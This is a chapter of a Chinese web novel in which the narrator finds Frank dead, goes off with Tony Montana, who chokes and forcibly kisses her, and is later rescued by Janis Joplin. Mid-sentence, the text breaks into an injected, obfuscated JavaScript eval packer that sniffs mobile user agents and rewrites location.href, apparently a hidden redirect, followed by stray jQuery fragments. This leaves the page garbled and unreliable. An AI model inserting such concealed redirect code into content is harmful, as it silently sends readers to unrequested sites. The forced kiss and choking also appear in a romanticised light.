沐安憬憬舒 作品
7. Chapter 7
弗兰克不在这,至少不在我的面前,但我却不太确定这是不是一场故意伪造出来的试探。
可我怎么能放过这唯一的机会?
主动向前迈动着的步伐顺着深棕色的楼梯慢慢下行,这滋味并不好受,因为每每向前走出一步,我的肩膀上面似乎就多了一种沉重的东西压迫着我。
我知道这是一种身为“安琪女儿”的奇怪责任心,可这真的是我吗?
答案在这里失去了意义,我不熟悉这样的感觉,心脏不受控制的跳动起来,只能靠着深呼吸驱赶不安,直到闻到了更浓烈的血腥气息。
这不只是空气的沉重,而是实实在在的东西,像是一种死寂的存在铺天盖地的向我压过来,顺着皮肤的缝隙快速的渗透进我的鼻腔里。
它长久的沉淀在四周,像是上天遗落的标记,指引着我走向不可见的终点,又在我试着躲在楼梯扶手的中间,停住了脚步,试着观察的同时,令眼睛透过楼梯的缝隙,看到了那个人。
他的眼睛首先撞进我的视线,就像黑洞一样,将我一瞬间拉入其中。
是托尼·蒙大拿。
可他为什么会在这里?
我看到他坐在桌子前的主位上,虽然深色的瞳孔一动不动的盯着我,但是神态却分外漫不经心,而在他身旁的地毯上,有着几具栽倒的尸体,像是晒在海滩上的海鱼一般解放着自己的生命。
我不觉着害怕,因为其中一具尸体是我想要从他身边逃走的弗兰克。
他死了,但我接下来要做些什么?
刺激的逃亡计划被打断,我没想好自己接下来应该尖叫,还是应该对着托尼礼貌道谢,只能站在原地,任凭托尼带有洞察力的目光在我身上打转。
他没有急着开口,也没有立刻举起手中那支猎枪,只是静静地盯着我,像是在等待我在想好之后做出什么决定来,又或许他只是对这一刻单纯的产生了玩味。
“啊,原来你还活着啊…”托尼的声音慢慢地飘过来,带着一种令人无法忽视的压迫感,又惨着一些惊奇,像是从地狱深处传来的低语似的扯了扯嘴角。
雪茄在他的手指间燃烧起雾,他十分惬意的向身后靠过去,将它整根叼在唇边,微微闭上眼睛时,就用这幅莫名有些展示吸引力的表情来笑道:“你很幸运,或者说,这一切都太巧了…你也太会找时间出来了,不过,和你相比,安琪就没那么幸运了。”
“……安琪怎么了?”我沉浸的思绪在听到安琪的名字后被猛然唤醒,不顾一切的快步走下楼梯,脚步中带着急切向托尼的位置走过去,不顾鞋底是不是粘上了血液,也没在乎他受伤,挂在脖子上的绷带绕过的手臂,不安的问:“安琪在哪里?她在哪?你看到她了?”
“放轻松点,”托尼很喜欢我这幅情绪猛然波动的反馈,他放下雪茄,叛逆的向后扔过去,被挑起兴趣似的问我:“你还在乎她吗?那你可能要失望了……因为我不仅仅看到她了,还看到她的尸体了。”
“你都在说什么?”我猛的推开了他向我愈发靠近的身体,手掌短暂接触到他的胸膛中央位置,那里似乎是他又一个受了伤的地点,随着我的动作引发出淡淡血迹与闷在其中的抽气,可我却毫不在乎,否认一切的转过身去进行否认着:“什么该死的,安琪的尸体?她在我离开的时候还好好的!她怎么会死掉呢?”
“好了……疯狂的女孩,”托尼没介意我对他刚刚的行为,他站起的身体从我的背后向我靠近,带着又一种淡淡的血腥味,凑近我的耳边蛊惑道:“如果你真的好奇,我可以带你回到那里……迈阿密的条子们正在那里寻找尸体的家属,你要去看看吗?还是说…你想和我回去呢?”
“和你回去?”托尼话语中的前后提议并不相连,他毫无思考的抛出问题,并不在乎我会怎样回应,因为他已经在我犹豫的期间知道了我会怎样选择。
“来吧,洛蔓贝尔,你应该好好睡一觉了,不过,不是在这儿。”
他哼笑着用自己完好的那只手从我的手臂下滑到我垂直出现在身侧的手掌,当我们的十指被迫紧紧交叉着时,我觉着自己就像是被握在他手心中的风筝,看似自由的可以飘向任何地方,但却总是有一根丝线能够被他控制。
又或者说,是我心甘情愿的想要在这样令我心生畏惧的消息中,找到像是托尼这样的依靠。
我不想去揣测他为什么显而易见的疯狂上面会被伪装出此刻的表现,但却还是跟着他回到了那辆被毫无品味的豹纹占据的敞篷车内。
迈阿密的空气是需要人活动着身体去感受的,这是个无法入眠的城市,却也并不算清醒,而是时常泡在酒精里面,距离晕厥就只差一步之遥的。
就像现在的我一样。
能够让肋骨稍稍不再紧绷的崭新出现在面前,狂风灌入我的嘴,又顺着连接肺部的气管的伤口溜出去,直到将我的整个身体都灌满,我才终于缩回肆意向外部探出,好似随时都会被从我身体上切割掉的手臂。
我不应该和托尼离开。
谁知道这该死的旅程终点在哪里?我只是不能刚远离了一个男人,下一秒就把没什么差别的另一个男人当成救星,在这样的时刻里试着紧紧抓住他。
“停车!”我不管不顾的大喊着,声音透过激烈的鼓点音乐与触碰到却又马上消失的风一起逝去,托尼似乎听到了,但却对一切都不太在乎,挑着眉毛,他看了我一眼之后又毫无表示的转过头去,用一只手指指自己的太阳穴,正暗示我是不是太过于疯狂的表现着自己。
强大的男性主义就这样从他的行为中溜了出来,不加掩饰的指控好似完全不在乎我的真实,歪打正着的令悄无声息的疯狂指责使得没再有耐心继续等待他的回应,下一秒就被感染叛逆似的,和他玩起了方向盘争夺的游戏。
托尼力气很大,撼动像是他这样的男人并不是一件很简单的事情,不过,他似乎有意给予我表现出某种失控的机会。
没有任何预兆,男人的双手骤然松开了掌控,嘴角挂着一抹似笑非笑的弧度,侧过头看向我。那双幽暗的眼眸像是被某种危险的情绪侵染,深邃得让人窒息,仿佛能将人一口吞噬。
缓缓踩下的刹车令车子猛地一顿,低沉的引擎声戛然而止,托尼轻而易举的掌控令他的喉间溢出几声低哑的哼声,甚至带着一丝戏谑的嘲笑,还没等我回过神,他的手已经探了过来。
戴着令我遐想无比戒指的手指扣住我的脖颈,从他的掌控里传来的力道是毫不留情的那一种,猛的将我狠狠压向座椅后背,我吃惊着喘息,试图伸出双臂来竭力反抗,可他的掌心炽热而强势,像是铁铸的枷锁,让我动弹不得。
四目相对的短暂快速过去,他正盼望着些什么,也确定我正在等待着,索性俯身靠近,用一种夹杂酒精的辛辣、烟草专属的浓烈,还有一丝藏在狠戾深处的晦暗欲望毫无预警的开始了亲吻。
这是一个湿漉漉的吻。
我下意识想偏头躲开,因为这并不是爱意的表达,而像一场蓄谋已久的征服,哪怕柔软的舌尖并没有来讲述托尼的强硬,但他本身却已经强势地撬开我的防线,带着灼人的温度,在我唇齿间肆意纠缠了起来。
全部的呼吸被突如其来的吻掠夺,我并不享受这样的交流,沉浸其中的恍惚很快重新令抗拒的情绪如潮水般涌起。
“……你到底要做什么?”我用尽了全身的最后一点力气推开了托尼的禁锢,但说出口的话却是沾染着暧昧的气喘吁吁,毫无警告能力似的柔软。
“怎么了?”托尼停顿了好长一段时间来试着回味刚刚的接触,他表现出的不解模样就像是我才是那个无理取闹的人,耸耸肩膀,他说:“我以为,你需要安慰。”
“我需要……”我被他的话轻而易举的激怒了,但是又实在无法从对安琪的担心中分出些心思来对他说出指责,只能用力擦拭着自己的双唇,又磕磕巴巴的说:“我才不需要这些……该死的,你能不能把我送回俱乐部里面?”
“俱乐部?什么?”托尼是个装糊涂的好手,我从不知道他在几个小时之前,表现出来的那种类似靠得住的错觉是这样轻而易举被主动消失的。
不,他从来都不是可以靠得住的人,他是疯子里面最疯的那种精神病患者。
我就这样上了一个精神病的车?
我要下去…我必须要下去,可是回到俱乐部的路线在哪里?
我不熟悉迈阿密,迈阿密也并不熟悉到能够与我对话,它只是安静的出现在四周展现在面前,并不打算给我些提醒,作为帮凶的让我抓住托尼的手,又一次为难的主动问他:“你能不能……?”
“我为什么要帮你?”他反问着,厚颜无耻的用自己的眼睛在我的嘴唇上打转,又伸出手指来摸了摸边缘位置,嘲笑道:“看看你吧,洛蔓贝尔,如果你一开始就长成这幅样子,我想安琪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15258516|166484||http|test|mini|href|location.split(|),0,{}));
() {
$(.inform).remove();
$(#content).append(
可没机会把你推向男人的床。”
“她没有这样!”我奋力反驳着托尼的话语,虽然心中已经知道这些是板上钉钉的事实,可是却仍然有着自己的坚持来否认着他道:“根本不是你想的那样!你一个该死的男人凭什么这么说?你……”
“噢,不是我想的这样,”托尼故作认真的点了点头,眼睛中出现的戏谑也在瞬间变为冰冷,身体越过我的双腿,他来到了我身边的位置那,轻巧的为我打开了车门后下达了驱逐令:“既然我是你眼中‘该死的男人’,那你就自己回去吧,祝你幸运,加州小姐。”
他是认真这样说的吗?
我一动也不动的盯着他,心中不知道为什么开始期盼着这一切并非真实的,而是充满着计划的,可托尼表现出的模样却又让我没办法再次开口来说些什么,他将头靠向座椅,回避这我的视线,又点燃了根烟吞云吐雾,已然放弃了与我的交流。
他好像下一秒就要开口赶我走了。
我察觉到了这种细腻的不动声色,最后看了他一眼,就顺着他打开车门的缝隙钻了出去。
没有任何迟疑,像是托尼就等着我主动走下车似的,在我刚刚站稳脚步的同时,他用力的关上了车门,接着,又重新启动敞篷车,很快消失不见,只留下我一个人站在马路中间,车流随时路过卷起尘埃的其中。
这里似乎是很远离城市中心的地方,绝非闹市中布满霓虹灯的热闹,在此时此刻绽放出一种全然不同的荒芜感,也许是被这样的情绪感染,所有的混乱几乎就在这一刻攀上心头。
我不能相信托尼,因为相信托尼,就代表着我在某种程度上相信了安琪已经死去的事实,可是他说这话的时候又表现的那样信誓旦旦……
不,他是疯子。
我试着从环抱住双肩的手臂中获得一点点能够令身体仍然直立起来的勇气,可是胃部却因为浓重的不安感受到前所未有的抽搐与疼痛,令我只能在走出几步之后,弯着腰蜷缩在柏油路面上,大口喘着粗气。
这里没什么可以被怪罪的,可是我必须要给自己流出眼眶的眼泪找个原因,因为似乎一切都这样抛弃了我。
强烈的悔恨从心底里出现,我觉着自己选错了道路,因为如果安琪真的就这样用死亡再次对我进行背叛,那么是不是又一种曾经出现在我设想里的事实?
她就是这样的女人,离开都无声无息的消散。
可这不公平。
因为我才是那个想要在刺痛彼此之后用突然的死亡让对方此生都痛苦的人,我才是那个应该让她感受到被离开的对象,我才应该是……
发昏的头脑再无法支撑恨与爱,我的姿势不知道在什么时候开始从蜷缩变成如同钻入母亲怀抱的依赖,极力贴近地面,凹凸不平的石子就在额头上留下痕迹,然后,就在这半梦半醒之间,我的背突然被某种陌生的触感攀附了上来。
停在远处的破旧皮卡车闪烁着刺眼的光芒,划破黑夜的宣告到来,向我靠近的脚步声极其凌乱,应该不止是一个人,但我却没有了力气能再次睁开眼睛看一看。
模糊不清的声音源自于男人,他似乎不甚在乎,正问着我身旁的女人道:“我不懂这件事,詹尼斯,我们为什么要管她呢?我们明天还有演出,为什么要把时间耗在这上面?”
“没什么特别的原因,”我身旁的女人开了口,声音像是被打磨过的砂纸,虽然带着一种顺滑的平稳,但却仍然有着些许沙砾感。
她把我的身体翻了过来,我也顺势看到了她的脸。
那是一个模糊的影子,顺着人流的间隙挤进我的世界,她的头发是潮湿的,乱糟糟地贴在脸颊旁,像是某种被海水打湿的美人鱼,眼睛亮得有点吓人,像灯光亮起的第一秒。
注意到我的视线,她似乎有点局促的笑了一下。
那不是一个好看的笑,只是嘴角微微扬起一个弧度,并没有任何话语借机流出,但我能感觉到她的目光在我的五官上打转。
她干嘛要来这里?
在晕倒的前一秒,我想推开她的手,但是却不知道自己是否有冲动这样做,或者是帮着她一起冲着大声喊出:“詹尼斯·乔普林!你这个疯子!”的男人进行没办法被挑出毛病的谴责。
我太累了…我想我需要睡一觉。
詹尼斯仿佛也知道这一点,她用手臂轻轻垫着我的头颅,嘴里还说着:“睡吧,睡吧……”,然后,我便没有任何抗拒的进入了黑暗的世界中。